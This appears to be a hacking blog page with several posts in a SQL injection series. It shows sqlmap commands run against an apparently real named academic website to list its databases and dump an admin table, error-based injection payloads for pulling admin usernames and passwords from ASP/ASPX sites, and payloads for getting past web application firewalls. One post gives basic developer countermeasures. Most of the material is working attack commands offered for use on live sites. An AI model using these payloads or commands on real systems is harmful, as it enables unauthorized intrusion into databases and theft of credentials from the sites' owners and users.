Hack websites using sqlmap

Hey awl although i completed mah series f SQL Injection but i would like to tell uhh awl abt sum to0ls used for doing SQL Injection_______Int diz tut i will be telling uhh awl abt mah fav SQLMAP :) Its an aww to0l

What is SQLMAP?

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

Things you require

1) BackTrack 5
2) A vulnerable website :D

The vulnerable link i am going to use is

http://www.vulnerablesite.ac.in/news-events.php?id=22

First open Backtrack5 and then open SQLMAP. You can open SQLMAP by doing the following.
Applications-->backtrack-->Exploitation tools-->web exploitation tools-->sqlmap.

It opens your sqlmap console .

Scanning the URL and finding out the database names

Now i am going to scan the url using the following command.

./sqlmap.py -u   http://www.eastodissa.ac.in/news-events.php?id=22 --dbs


Here –u is for URL .
You can also scan the entire website by simply replacing the above URL with the website’s URL.
Now i am going to scan the link.

It has shown me a very good message that “GET parameter  “id” is vulnerable”.
And asked me to continue or stop. As i have already got a vulnerable parameter, i have stopped by pressing ‘N’. You can continue the scan if you want.

Finding out table names

Aww..!! We got the database names. Now we need to find out the table and column names. As information_schema is for metadata, i am going with the database "nilakantatrust".
The following query gives me the table names.

./sqlmap.py -u   http://www.eastodissa.ac.in/news-events.php?id=22 --tables -D nilakantatrust


 Here –D is to specify the name of the database.

 

Finding out column names

kewl.. Now we got 9 tables. As we are always interested in admin section, lets move on to the est_admin table and find the column names in that table.
So we use the following query

./sqlmap.py -u   http://www.eastodissa.ac.in/news-events.php?id=22 --column -T est_admin -D nilakantatrust

Retrieving Data

We got all the columns from the table est_admin. Now we have to retrieve  the data from the database. For that we need to write the following query. We are just adding –dump to the above query.

 ./sqlmap.py -u   http://www.eastodissa.ac.in/news-events.php?id=22 --column -T est_admin -D nilakantatrust --dump 

 

We got all the data we want. I hope you know what to do now.

Read More

SQL Injection-Part 5

Hacking ASP/ASPX sites

ASPX injection is also similar to PHP based sql injection. But here, we don't use queries that contain order by, union select etc. Instead, we will cheat the server to respond with the information we needed. It is an error based injection technique. We will get the information in the form of errors.


First, we need find out a vulnerable asp/aspx link which looks like

www.vulnerablesite.com/gallery.aspx?id=10

Checking For Vulnerability

As in the PHP based injection, we will test for the vulnerability by adding a single quote at the end of the URL.
 
www.vulnerablesite.com/gallery.aspx?id=10'

If it gives an error similar to the following, then our site is vulnerable to sql injection.


In asp/aspx based injections, we need not find out the number of columns or the most vulnerable column.  We will directly find out the table names,column names and then we will extract the data.

Finding Out The Table Names

www.vulnerablesite.com/gallery.aspx?id=10 and 1=convert(int,(select top 1 table_name from information_schema.tables))

The above code executes the second query and retrieves the first table name from the database. the windows server cant convert character value into data type. so we will get an error as shown in the following figure from which we can get the first table name.


But this may not be the desired table for us. So we need to find out the next table name in the database.

For that, we will use the following query.

www.vulnerablesite.com/gallery.aspx?id=10 and 1=convert(int,(select top1 table_name from information_schema.tables where table_name not in ('first_table_name')))

replace the first_table_name with the actual table name we got above.



Now we will get the second table name as shown in the figure. Still if we don't get our desired table, we will continue the procedure until we get the  desired table name. Now the query looks like

www.vulnerablesite.com/gallery.aspx?id=10 and 1=convert(int,(select top1 table_name from  information_schema.tables where table_name not in ('first_table_name','second_table_name')))

Replace first_table_name and second_table_name with the table names we got in the above steps.

Finding Out The Columns

Now we got the admin table. So we need to find out the columns now.

www.vulnerablesite.com/gallery.aspx?id=10 and 1=convert(int,(select top1 column_name from information_schema.columns where table_name='admin_table'))

Replace admin_table with the table name we got. In our case, it is "vw_system_admin"



If the first column is not related to our desired column names, then follow the steps as we have done in step 3.

www.vulnerablesite.com/gallery.aspx?id=10  and 1=convert(int,(select top1 column_name from information_schema.columns where table_name='admin_table' and column_name not in ('first_column_name')))

Replace first_column_name with the column name we got.

Extracting The Data

After finding out all the columns, we need to extract the data such as user names and passwords.

For that, we use the following query

For user name,
www.vulnerablesite.com/gallery.aspx?id=10 and 1=convert(int,(select top 1 admin_username from admin_table))



For password,
www.vulnerablesite.com/gallery.aspx?id=10 and 1=convert(int,(select top 1 admin_username from admin_table))













 

Read More

SQL Injection-Part 6

Hey awl its mah last post on SQL Series :) Hope you awl njoyed mah SQL Injection Series______!!!!!!

SQL Injection Countermeasures

SQL injection is kinda complex vulnerability and usually applying a fix will differ on which type of application you are developing. By the way instead of its complexity and different types of injection methods SQL injection is one of the easiest to counter.  Following are some measures that can be used against SQL injection attack.


1. As you all know  SQL injection attacks occurs due to non-sanitized input. So our first step would be sanitizing input. At developer level build application which explicitly escapes single quotes and apostrophe, do not validate input of expression type for example, 1 + 1, x+ y etc. By sanitizing input by above method you'll be able to stop SQL injection since application will not accept malicious input.

2. The second solution at developer level is to use Application Programming Interface (API's) which disallow SQL injection. Today nearly every web application development tool has an API which handles SQL queries all by its own, its better to use them because they not only reduce overall development overhead but also provide protection against SQL injection.

3. At system level allow application to run at possible lower privileges, with which it can run flawlessly. There's no need to grant application more privileges than required. It might take little time to apply this but doing so will disallow hacker to retrieve sensitive data from your database since privileges will be limited.

4. Lastly remove unnecessary database packages from your system since they don't only take extra memory and disk space but if any of them is vulnerable your database will become vulnerable too.

Depending upon what kind of application you are developing some or more modifications may need while development to avoid injection. But at practical level above countermeasures can surely be applied to any kind of web application to ensure protection against SQL injection.

Read More

SQL Injection-Part4

What is WAF?

WAF stands for Web Application Firewall. In order to prevent the attacks such as SQLi and XSS, administrators put Web Application Firewalls. These WAFs detect malicious attempts with the use of signature based filters and escapes defined within a list of rules. As a result of this design, they are vulnerable and can be easily bypassed.

How it works??

When the WAF detects malicious attempts, our input URL gives a forbidden error as shown in the following figure.



Our aim is to bypass this error and need to retrieve data from the database using some special techniques. There are many methods to bypass WAF. In this tutorial, i am going to show you some basic methods. These methods are especially for beginners.

Methods To Bypass WAF

Comments :-

Comments allow us to bypass a lot of the restrictions of Web application firewalls and to kill certain SQL statements to execute the attackers commands while commenting out the actual legitimate query.

Actual query

http://vulnerablesite.com/detail.php?id=44 union all select 1,2,3,4,5—



Query To  Bypass the WAF




http://vulnerablesite.com/detailphp?id=44 /*!UNION*/ +/*!ALL*/+/*!SELECT*/+1,2,3,4,5—

Capitalization Of Functions:-

Some WAF’s will filter only lowercase alphabets, So we can easily evade this by case changing.

Actual query

http://vulnerablesite.com/detail.php?id=44 UNION SELECT 1,2,3,4,5—

Query to  bypass the WAF

http://vulnerablesite.com/detail.php?id=-1 uNiOn SeLeCt 1,2,3,4,5—

Replaced Keywords:-

Some WAF's will escape certain keywords such as UNION, SELECT, ORDER BY, etc. This can be used to our advantage by duplicating the detected word within another.

Actual query

http://vulnerablesite.com/detail.php?id=-1 UNION SELECT 1,2,3,4,5—

Query to  bypass the WAF

http://vulnerablesite.com/detail.php?id=-1 UNIunionON SEselectLECT 1,2,3,4,5--

Read More